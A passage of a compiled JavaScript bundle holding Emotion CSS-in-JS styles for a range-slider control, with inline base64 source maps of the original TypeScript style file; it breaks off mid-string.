30753 transform: "translateX( 50% )"
30754 }), ";", markLabelFill, ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInJhbmdlLWNvbnRyb2wtc3R5bGVzLnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQWlLb0MiLCJmaWxlIjoicmFuZ2UtY29udHJvbC1zdHlsZXMudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5pbXBvcnQgc3R5bGVkIGZyb20gJ0BlbW90aW9uL3N0eWxlZCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBOdW1iZXJDb250cm9sIGZyb20gJy4uLy4uL251bWJlci1jb250cm9sJztcbmltcG9ydCB7IENPTE9SUywgcnRsLCBDT05GSUcgfSBmcm9tICcuLi8uLi91dGlscyc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uLy4uL3V0aWxzL3NwYWNlJztcblxuaW1wb3J0IHR5cGUge1xuXHRSYW5nZU1hcmtQcm9wcyxcblx0UmFpbFByb3BzLFxuXHRUaHVtYlByb3BzLFxuXHRUb29sdGlwUHJvcHMsXG5cdFRyYWNrUHJvcHMsXG5cdFdyYXBwZXJQcm9wcyxcblx0UmFuZ2VDb250cm9sUHJvcHMsXG59IGZyb20gJy4uL3R5cGVzJztcblxuY29uc3QgcmFuZ2VIZWlnaHRWYWx1ZSA9IDMwO1xuY29uc3QgcmFpbEhlaWdodCA9IDQ7XG5jb25zdCByYW5nZUhlaWdodCA9ICgpID0+XG5cdGNzcyggeyBoZWlnaHQ6IHJhbmdlSGVpZ2h0VmFsdWUsIG1pbkhlaWdodDogcmFuZ2VIZWlnaHRWYWx1ZSB9ICk7XG5jb25zdCB0aHVtYlNpemUgPSAxMjtcblxuY29uc3QgZGVwcmVjYXRlZEhlaWdodCA9ICgge1xuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG59OiBQaWNrPCBSYW5nZUNvbnRyb2xQcm9wcywgJ19fbmV4dDQwcHhEZWZhdWx0U2l6ZScgPiApID0+XG5cdCEgX19uZXh0NDBweERlZmF1bHRTaXplICYmIGNzcyggeyBtaW5IZWlnaHQ6IHJhbmdlSGVpZ2h0VmFsdWUgfSApO1xuXG50eXBlIFJvb3RQcm9wcyA9IFBpY2s8IFJhbmdlQ29udHJvbFByb3BzLCAnX19uZXh0NDBweERlZmF1bHRTaXplJyA+O1xuZXhwb3J0IGNvbnN0IFJvb3QgPSBzdHlsZWQuZGl2PCBSb290UHJvcHMgPmBcblx0LXdlYmtpdC10YXAtaGlnaGxpZ2h0LWNvbG9yOiB0cmFuc3BhcmVudDtcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0ZGlzcGxheTogZmxleDtcblx0anVzdGlmeS1jb250ZW50OiBmbGV4LXN0YXJ0O1xuXHRwYWRkaW5nOiAwO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdHRvdWNoLWFjdGlvbjogbm9uZTtcblx0d2lkdGg6IDEwMCU7XG5cdG1pbi1oZWlnaHQ6IDQwcHg7XG5cdC8qIFRPRE86IHJlbW92ZSBhZnRlciByZW1vdmluZyB0aGUgX19uZXh0NDBweERlZmF1bHRTaXplIHByb3AgKi9cblx0JHsgZGVwcmVjYXRlZEhlaWdodCB9O1xuYDtcblxuY29uc3Qgd3JhcHBlckNvbG9yID0gKCB7IGNvbG9yID0gQ09MT1JTLnVpLmJvcmRlckZvY3VzIH06IFdyYXBwZXJQcm9wcyApID0+XG5cdGNzcyggeyBjb2xvciB9ICk7XG5cbmV4cG9ydCBjb25zdCBXcmFwcGVyID0gc3R5bGVkKCAnZGl2Jywge1xuXHRzaG91bGRGb3J3YXJkUHJvcDogKCBwcm9wOiBzdHJpbmcgKSA9PlxuXHRcdCEgWyAnY29sb3InLCAnbWFya3MnIF0uaW5jbHVkZXMoIHByb3AgKSxcbn0gKTwgV3JhcHBlclByb3BzID5gXG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRmbGV4OiAxO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdHdpZHRoOiAxMDAlO1xuXG5cdCR7IHdyYXBwZXJDb2xvciB9O1xuXHQkeyByYW5nZUhlaWdodCB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IEJlZm9yZUljb25XcmFwcGVyID0gc3R5bGVkLnNwYW5gXG5cdGRpc3BsYXk6IGZsZXg7IC8vIGVuc3VyZXMgdGhlIGhlaWdodCBpc24ndCBhZmZlY3RlZCBieSBsaW5lLWhlaWdodFxuXHRtYXJnaW4tdG9wOiAkeyByYWlsSGVpZ2h0IH1weDtcblxuXHQkeyBydGwoIHsgbWFyZ2luUmlnaHQ6IDYgfSApIH1cbmA7XG5cbmV4cG9ydCBjb25zdCBBZnRlckljb25XcmFwcGVyID0gc3R5bGVkLnNwYW5gXG5cdGRpc3BsYXk6IGZsZXg7IC8vIGVuc3VyZXMgdGhlIGhlaWdodCBpc24ndCBhZmZlY3RlZCBieSBsaW5lLWhlaWdodFxuXHRtYXJnaW4tdG9wOiAkeyByYWlsSGVpZ2h0IH1weDtcblxuXHQkeyBydGwoIHsgbWFyZ2luTGVmdDogNiB9ICkgfVxuYDtcblxuY29uc3QgcmFpbEJhY2tncm91bmRDb2xvciA9ICggeyBkaXNhYmxlZCwgcmFpbENvbG9yIH06IFJhaWxQcm9wcyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRiYWNrZ3JvdW5kOiAkeyBkaXNhYmxlZFxuXHRcdFx0PyBDT0xPUlMudWkuYmFja2dyb3VuZERpc2FibGVkXG5cdFx0XHQ6IHJhaWxDb2xvciB8fCBDT0xPUlMudGhlbWUuZ3JheVsgMzAwIF0gfTtcblxuXHRcdEBtZWRpYSAoIGZvcmNlZC1jb2xvcnM6IGFjdGl2ZSApIHtcblx0XHRcdGJhY2tncm91bmQ6IEdyYXlUZXh0O1xuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBSYWlsID0gc3R5bGVkLnNwYW5gXG5cdGxlZnQ6IDA7XG5cdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRyaWdodDogMDtcblx0ZGlzcGxheTogYmxvY2s7XG5cdGhlaWdodDogJHsgcmFpbEhlaWdodCB9cHg7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0bWFyZ2luLXRvcDogJHsgKCByYW5nZUhlaWdodFZhbHVlIC0gcmFpbEhlaWdodCApIC8gMiB9cHg7XG5cdHRvcDogMDtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c0Z1bGwgfTtcblxuXHQkeyByYWlsQmFja2dyb3VuZENvbG9yIH07XG5gO1xuXG5jb25zdCB0cmFja0JhY2tncm91bmRDb2xvciA9ICggeyBkaXNhYmxlZCwgdHJhY2tDb2xvciB9OiBUcmFja1Byb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdGJhY2tncm91bmQ6ICR7IGRpc2FibGVkXG5cdFx0XHQ/IENPTE9SUy50aGVtZS5ncmF5WyA0MDAgXVxuXHRcdFx0OiB0cmFja0NvbG9yIHx8ICdjdXJyZW50Q29sb3InIH07XG5cblx0XHRAbWVkaWEgKCBmb3JjZWQtY29sb3JzOiBhY3RpdmUgKSB7XG5cdFx0XHRiYWNrZ3JvdW5kOiAkeyBkaXNhYmxlZCA/ICdHcmF5VGV4dCcgOiAnQ2FudmFzVGV4dCcgfTtcblx0XHR9XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgVHJhY2sgPSBzdHlsZWQuc3BhbmBcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c0Z1bGwgfTtcblx0aGVpZ2h0OiAkeyByYWlsSGVpZ2h0IH1weDtcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdG1hcmdpbi10b3A6ICR7ICggcmFuZ2VIZWlnaHRWYWx1ZSAtIHJhaWxIZWlnaHQgKSAvIDIgfXB4O1xuXHR0b3A6IDA7XG5cblx0LmlzLW1hcmtlZCAmIHtcblx0XHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRcdHRyYW5zaXRpb246IHdpZHRoIGVhc2UgMC4xcztcblx0XHR9XG5cdH1cblxuXHQkeyB0cmFja0JhY2tncm91bmRDb2xvciB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IE1hcmtzV3JhcHBlciA9IHN0eWxlZC5zcGFuYFxuXHRkaXNwbGF5OiBibG9jaztcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0d2lkdGg6IDEwMCU7XG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHRtYXJnaW4tdG9wOiAxN3B4O1xuYDtcblxuZXhwb3J0IGNvbnN0IE1hcmsgPSBzdHlsZWQuc3BhbmBcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHRsZWZ0OiAwO1xuXHR0b3A6IC00cHg7XG5cdGhlaWdodDogNHB4O1xuXHR3aWR0aDogMnB4O1xuXHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoIC01MCUgKTtcblx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09MT1JTLnVpLmJhY2tncm91bmQgfTtcblx0ei1pbmRleDogMTtcbmA7XG5cbmNvbnN0IG1hcmtMYWJlbEZpbGwgPSAoIHsgaXNGaWxsZWQgfTogUmFuZ2VNYXJrUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3MoIHtcblx0XHRjb2xvcjogaXNGaWxsZWQgPyBDT0xPUlMudGhlbWUuZ3JheVsgNzAwIF0gOiBDT0xPUlMudGhlbWUuZ3JheVsgMzAwIF0sXG5cdH0gKTtcbn07XG5cbmV4cG9ydCBjb25zdCBNYXJrTGFiZWwgPSBzdHlsZWQuc3BhbmBcblx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5ncmF5WyAzMDAgXSB9O1xuXHRmb250LXNpemU6IDExcHg7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dG9wOiA4cHg7XG5cdHdoaXRlLXNwYWNlOiBub3dyYXA7XG5cblx0JHsgcnRsKCB7IGxlZnQ6IDAgfSApIH07XG5cdCR7IHJ0bChcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIC01MCUgKScgfSxcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIDUwJSApJyB9XG5cdCkgfTtcblxuXHQkeyBtYXJrTGFiZWxGaWxsIH07XG5gO1xuXG5jb25zdCB0aHVtYkNvbG9yID0gKCB7IGRpc2FibGVkIH06IFRodW1iUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3NgXG5cdFx0YmFja2dyb3VuZDogJHsgZGlzYWJsZWRcblx0XHRcdD8gQ09MT1JTLnRoZW1lLmdyYXlbIDQwMCBdXG5cdFx0XHQ6IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblxuXHRcdEBtZWRpYSAoIGZvcmNlZC1jb2xvcnM6IGFjdGl2ZSApIHtcblx0XHRcdGJhY2tncm91bmQ6ICR7IGRpc2FibGVkID8gJ0dyYXlUZXh0JyA6ICdDYW52YXNUZXh0JyB9O1xuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBUaHVtYldyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0ZGlzcGxheTogZmxleDtcblx0aGVpZ2h0OiAkeyB0aHVtYlNpemUgfXB4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblx0bWFyZ2luLXRvcDogJHsgKCByYW5nZUhlaWdodFZhbHVlIC0gdGh1bWJTaXplICkgLyAyIH1weDtcblx0b3V0bGluZTogMDtcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dG9wOiAwO1xuXHR1c2VyLXNlbGVjdDogbm9uZTtcblx0d2lkdGg6ICR7IHRodW1iU2l6ZSB9cHg7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNSb3VuZCB9O1xuXHR6LWluZGV4OiAzO1xuXG5cdC5pcy1tYXJrZWQgJiB7XG5cdFx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0XHR0cmFuc2l0aW9uOiBsZWZ0IGVhc2UgMC4xcztcblx0XHR9XG5cdH1cblxuXHQkeyB0aHVtYkNvbG9yIH07XG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiAtMTAgfSApIH07XG5cdCR7IHJ0bChcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIDQuNXB4ICknIH0sXG5cdFx0eyB0cmFuc2Zvcm06ICd0cmFuc2xhdGVYKCAtNC41cHggKScgfVxuXHQpIH07XG5gO1xuXG5jb25zdCB0aHVtYkZvY3VzID0gKCB7IGlzRm9jdXNlZCB9OiBUaHVtYlByb3BzICkgPT4ge1xuXHRyZXR1cm4gaXNGb2N1c2VkXG5cdFx0PyBjc3NgXG5cdFx0XHRcdCY6OmJlZm9yZSB7XG5cdFx0XHRcdFx0Y29udGVudDogJyAnO1xuXHRcdFx0XHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cdFx0XHRcdFx0b3BhY2l0eTogMC40O1xuXHRcdFx0XHRcdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNSb3VuZCB9O1xuXHRcdFx0XHRcdGhlaWdodDogJHsgdGh1bWJTaXplICsgOCB9cHg7XG5cdFx0XHRcdFx0d2lkdGg6ICR7IHRodW1iU2l6ZSArIDggfXB4O1xuXHRcdFx0XHRcdHRvcDogLTRweDtcblx0XHRcdFx0XHRsZWZ0OiAtNHB4O1xuXG5cdFx0XHRcdFx0QG1lZGlhICggZm9yY2VkLWNvbG9yczogYWN0aXZlICkge1xuXHRcdFx0XHRcdFx0YmFja2dyb3VuZDogR3JheVRleHQ7XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHR9XG5cdFx0ICBgXG5cdFx0OiAnJztcbn07XG5cbmV4cG9ydCBjb25zdCBUaHVtYiA9IHN0eWxlZC5zcGFuPCBUaHVtYlByb3BzID5gXG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNSb3VuZCB9O1xuXHRoZWlnaHQ6IDEwMCU7XG5cdG91dGxpbmU6IDA7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cdHdpZHRoOiAxMDAlO1xuXHRib3gtc2hhZG93OiAkeyBDT05GSUcuZWxldmF0aW9uWFNtYWxsIH07XG5cblx0JHsgdGh1bWJDb2xvciB9O1xuXHQkeyB0aHVtYkZvY3VzIH07XG5gO1xuXG5leHBvcnQgY29uc3QgSW5wdXRSYW5nZSA9IHN0eWxlZC5pbnB1dGBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0Y3Vyc29yOiBwb2ludGVyO1xuXHRkaXNwbGF5OiBibG9jaztcblx0aGVpZ2h0OiAxMDAlO1xuXHRsZWZ0OiAwO1xuXHRtYXJnaW46IDAgLSR7IHRodW1iU2l6ZSAvIDIgfXB4O1xuXHRvcGFjaXR5OiAwO1xuXHRvdXRsaW5lOiBub25lO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdHJpZ2h0OiAwO1xuXHR0b3A6IDA7XG5cdHdpZHRoOiBjYWxjKCAxMDAlICsgJHsgdGh1bWJTaXplIH1weCApO1xuYDtcblxuY29uc3QgdG9vbHRpcFNob3cgPSAoIHsgc2hvdyB9OiBUb29sdGlwUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3NgXG5cdFx0ZGlzcGxheTogJHsgc2hvdyA/ICdpbmxpbmUtYmxvY2snIDogJ25vbmUnIH07XG5cdFx0b3BhY2l0eTogJHsgc2hvdyA/IDEgOiAwIH07XG5cblx0XHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRcdHRyYW5zaXRpb246XG5cdFx0XHRcdG9wYWNpdHkgMTIwbXMgZWFzZSxcblx0XHRcdFx0ZGlzcGxheSAxMjBtcyBlYXNlIGFsbG93LWRpc2NyZXRlO1xuXHRcdH1cblxuXHRcdEBzdGFydGluZy1zdHlsZSB7XG5cdFx0XHRvcGFjaXR5OiAwO1xuXHRcdH1cblx0YDtcbn07XG5cbmNvbnN0IHRvb2x0aXBQbGFjZW1lbnQgPSAoIHsgcGxhY2VtZW50IH06IFRvb2x0aXBQcm9wcyApID0+IHtcblx0Y29uc3QgaXNCb3R0b20gPSBwbGFjZW1lbnQgPT09ICdib3R0b20nO1xuXG5cdGlmICggaXNCb3R0b20gKSB7XG5cdFx0cmV0dXJuIGNzc2Bcblx0XHRcdGJvdHRvbTogLTgwJTtcblx0XHRgO1xuXHR9XG5cblx0cmV0dXJuIGNzc2Bcblx0XHR0b3A6IC04MCU7XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgVG9vbHRpcCA9IHN0eWxlZC5zcGFuPCBUb29sdGlwUHJvcHMgPmBcblx0YmFja2dyb3VuZDogcmdiYSggMCwgMCwgMCwgMC44ICk7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNTbWFsbCB9O1xuXHRjb2xvcjogd2hpdGU7XG5cdGZvbnQtc2l6ZTogMTJweDtcblx0bWluLXdpZHRoOiAzMnB4O1xuXHRwYWRkaW5nOiA0cHggOHB4O1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR0ZXh0LWFsaWduOiBjZW50ZXI7XG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHRsaW5lLWhlaWdodDogMS40O1xuXG5cdCR7IHRvb2x0aXBTaG93IH07XG5cblx0JHsgdG9vbHRpcFBsYWNlbWVudCB9O1xuXHQkeyBydGwoXG5cdFx0eyB0cmFuc2Zvcm06ICd0cmFuc2xhdGVYKC01MCUpJyB9LFxuXHRcdHsgdHJhbnNmb3JtOiAndHJhbnNsYXRlWCg1MCUpJyB9XG5cdCkgfVxuYDtcblxuLy8gQHRvZG8gUmVmYWN0b3IgUmFuZ2VDb250cm9sIHdpdGggbGF0ZXN0IEhTdGFjayBjb25maWd1cmF0aW9uXG4vLyBAc2VlOiBwYWNrYWdlcy9jb21wb25lbnRzL3NyYy9oLXN0YWNrXG5leHBvcnQgY29uc3QgSW5wdXROdW1iZXIgPSBzdHlsZWQoIE51bWJlckNvbnRyb2wgKWBcblx0ZGlzcGxheTogaW5saW5lLWJsb2NrO1xuXHRmb250LXNpemU6IDEzcHg7XG5cdG1hcmdpbi10b3A6IDA7XG5cblx0aW5wdXRbdHlwZT0nbnVtYmVyJ10mIHtcblx0XHQkeyByYW5nZUhlaWdodCB9O1xuXHR9XG5cblx0JHsgcnRsKCB7IG1hcmdpbkxlZnQ6IGAkeyBzcGFjZSggNCApIH0gIWltcG9ydGFudGAgfSApIH1cbmA7XG5cbmV4cG9ydCBjb25zdCBBY3Rpb25SaWdodFdyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0ZGlzcGxheTogYmxvY2s7XG5cdG1hcmdpbi10b3A6IDA7XG5cblx0YnV0dG9uLFxuXHRidXR0b24uaXMtc21hbGwge1xuXHRcdG1hcmdpbi1sZWZ0OiAwO1xuXHRcdCR7IHJhbmdlSGVpZ2h0IH07XG5cdH1cblxuXHQkeyBydGwoIHsgbWFyZ2luTGVmdDogOCB9ICkgfVxuYDtcbiJdfQ== */"));
30755 var thumbColor = ({
30756 disabled
30757 }) => {
30758 return /* @__PURE__ */ css("background:", disabled ? COLORS.theme.gray[400] : COLORS.theme.accent, ";@media ( forced-colors: active ){background:", disabled ? "GrayText" : "CanvasText", ";}" + (false ? "" : ";label:thumbColor;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInJhbmdlLWNvbnRyb2wtc3R5bGVzLnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQWtMVyIsImZpbGUiOiJyYW5nZS1jb250cm9sLXN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IE51bWJlckNvbnRyb2wgZnJvbSAnLi4vLi4vbnVtYmVyLWNvbnRyb2wnO1xuaW1wb3J0IHsgQ09MT1JTLCBydGwsIENPTkZJRyB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vLi4vdXRpbHMvc3BhY2UnO1xuXG5pbXBvcnQgdHlwZSB7XG5cdFJhbmdlTWFya1Byb3BzLFxuXHRSYWlsUHJvcHMsXG5cdFRodW1iUHJvcHMsXG5cdFRvb2x0aXBQcm9wcyxcblx0VHJhY2tQcm9wcyxcblx0V3JhcHBlclByb3BzLFxuXHRSYW5nZUNvbnRyb2xQcm9wcyxcbn0gZnJvbSAnLi4vdHlwZXMnO1xuXG5jb25zdCByYW5nZUhlaWdodFZhbHVlID0gMzA7XG5jb25zdCByYWlsSGVpZ2h0ID0gNDtcbmNvbnN0IHJhbmdlSGVpZ2h0ID0gKCkgPT5cblx0Y3NzKCB7IGhlaWdodDogcmFuZ2VIZWlnaHRWYWx1ZSwgbWluSGVpZ2h0OiByYW5nZUhlaWdodFZhbHVlIH0gKTtcbmNvbnN0IHRodW1iU2l6ZSA9IDEyO1xuXG5jb25zdCBkZXByZWNhdGVkSGVpZ2h0ID0gKCB7XG5cdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcbn06IFBpY2s8IFJhbmdlQ29udHJvbFByb3BzLCAnX19uZXh0NDBweERlZmF1bHRTaXplJyA+ICkgPT5cblx0ISBfX25leHQ0MHB4RGVmYXVsdFNpemUgJiYgY3NzKCB7IG1pbkhlaWdodDogcmFuZ2VIZWlnaHRWYWx1ZSB9ICk7XG5cbnR5cGUgUm9vdFByb3BzID0gUGljazwgUmFuZ2VDb250cm9sUHJvcHMsICdfX25leHQ0MHB4RGVmYXVsdFNpemUnID47XG5leHBvcnQgY29uc3QgUm9vdCA9IHN0eWxlZC5kaXY8IFJvb3RQcm9wcyA+YFxuXHQtd2Via2l0LXRhcC1oaWdobGlnaHQtY29sb3I6IHRyYW5zcGFyZW50O1xuXHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRkaXNwbGF5OiBmbGV4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtc3RhcnQ7XG5cdHBhZGRpbmc6IDA7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0dG91Y2gtYWN0aW9uOiBub25lO1xuXHR3aWR0aDogMTAwJTtcblx0bWluLWhlaWdodDogNDBweDtcblx0LyogVE9ETzogcmVtb3ZlIGFmdGVyIHJlbW92aW5nIHRoZSBfX25leHQ0MHB4RGVmYXVsdFNpemUgcHJvcCAqL1xuXHQkeyBkZXByZWNhdGVkSGVpZ2h0IH07XG5gO1xuXG5jb25zdCB3cmFwcGVyQ29sb3IgPSAoIHsgY29sb3IgPSBDT0xPUlMudWkuYm9yZGVyRm9jdXMgfTogV3JhcHBlclByb3BzICkgPT5cblx0Y3NzKCB7IGNvbG9yIH0gKTtcblxuZXhwb3J0IGNvbnN0IFdyYXBwZXIgPSBzdHlsZWQoICdkaXYnLCB7XG5cdHNob3VsZEZvcndhcmRQcm9wOiAoIHByb3A6IHN0cmluZyApID0+XG5cdFx0ISBbICdjb2xvcicsICdtYXJrcycgXS5pbmNsdWRlcyggcHJvcCApLFxufSApPCBXcmFwcGVyUHJvcHMgPmBcblx0ZGlzcGxheTogYmxvY2s7XG5cdGZsZXg6IDE7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0d2lkdGg6IDEwMCU7XG5cblx0JHsgd3JhcHBlckNvbG9yIH07XG5cdCR7IHJhbmdlSGVpZ2h0IH07XG5gO1xuXG5leHBvcnQgY29uc3QgQmVmb3JlSWNvbldyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0ZGlzcGxheTogZmxleDsgLy8gZW5zdXJlcyB0aGUgaGVpZ2h0IGlzbid0IGFmZmVjdGVkIGJ5IGxpbmUtaGVpZ2h0XG5cdG1hcmdpbi10b3A6ICR7IHJhaWxIZWlnaHQgfXB4O1xuXG5cdCR7IHJ0bCggeyBtYXJnaW5SaWdodDogNiB9ICkgfVxuYDtcblxuZXhwb3J0IGNvbnN0IEFmdGVySWNvbldyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0ZGlzcGxheTogZmxleDsgLy8gZW5zdXJlcyB0aGUgaGVpZ2h0IGlzbid0IGFmZmVjdGVkIGJ5IGxpbmUtaGVpZ2h0XG5cdG1hcmdpbi10b3A6ICR7IHJhaWxIZWlnaHQgfXB4O1xuXG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiA2IH0gKSB9XG5gO1xuXG5jb25zdCByYWlsQmFja2dyb3VuZENvbG9yID0gKCB7IGRpc2FibGVkLCByYWlsQ29sb3IgfTogUmFpbFByb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdGJhY2tncm91bmQ6ICR7IGRpc2FibGVkXG5cdFx0XHQ/IENPTE9SUy51aS5iYWNrZ3JvdW5kRGlzYWJsZWRcblx0XHRcdDogcmFpbENvbG9yIHx8IENPTE9SUy50aGVtZS5ncmF5WyAzMDAgXSB9O1xuXG5cdFx0QG1lZGlhICggZm9yY2VkLWNvbG9yczogYWN0aXZlICkge1xuXHRcdFx0YmFja2dyb3VuZDogR3JheVRleHQ7XG5cdFx0fVxuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IFJhaWwgPSBzdHlsZWQuc3BhbmBcblx0bGVmdDogMDtcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdHJpZ2h0OiAwO1xuXHRkaXNwbGF5OiBibG9jaztcblx0aGVpZ2h0OiAkeyByYWlsSGVpZ2h0IH1weDtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHRtYXJnaW4tdG9wOiAkeyAoIHJhbmdlSGVpZ2h0VmFsdWUgLSByYWlsSGVpZ2h0ICkgLyAyIH1weDtcblx0dG9wOiAwO1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzRnVsbCB9O1xuXG5cdCR7IHJhaWxCYWNrZ3JvdW5kQ29sb3IgfTtcbmA7XG5cbmNvbnN0IHRyYWNrQmFja2dyb3VuZENvbG9yID0gKCB7IGRpc2FibGVkLCB0cmFja0NvbG9yIH06IFRyYWNrUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3NgXG5cdFx0YmFja2dyb3VuZDogJHsgZGlzYWJsZWRcblx0XHRcdD8gQ09MT1JTLnRoZW1lLmdyYXlbIDQwMCBdXG5cdFx0XHQ6IHRyYWNrQ29sb3IgfHwgJ2N1cnJlbnRDb2xvcicgfTtcblxuXHRcdEBtZWRpYSAoIGZvcmNlZC1jb2xvcnM6IGFjdGl2ZSApIHtcblx0XHRcdGJhY2tncm91bmQ6ICR7IGRpc2FibGVkID8gJ0dyYXlUZXh0JyA6ICdDYW52YXNUZXh0JyB9O1xuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBUcmFjayA9IHN0eWxlZC5zcGFuYFxuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzRnVsbCB9O1xuXHRoZWlnaHQ6ICR7IHJhaWxIZWlnaHQgfXB4O1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0ZGlzcGxheTogYmxvY2s7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0bWFyZ2luLXRvcDogJHsgKCByYW5nZUhlaWdodFZhbHVlIC0gcmFpbEhlaWdodCApIC8gMiB9cHg7XG5cdHRvcDogMDtcblxuXHQuaXMtbWFya2VkICYge1xuXHRcdEBtZWRpYSBub3QgKCBwcmVmZXJzLXJlZHVjZWQtbW90aW9uICkge1xuXHRcdFx0dHJhbnNpdGlvbjogd2lkdGggZWFzZSAwLjFzO1xuXHRcdH1cblx0fVxuXG5cdCR7IHRyYWNrQmFja2dyb3VuZENvbG9yIH07XG5gO1xuXG5leHBvcnQgY29uc3QgTWFya3NXcmFwcGVyID0gc3R5bGVkLnNwYW5gXG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRwb2ludGVyLWV2ZW50c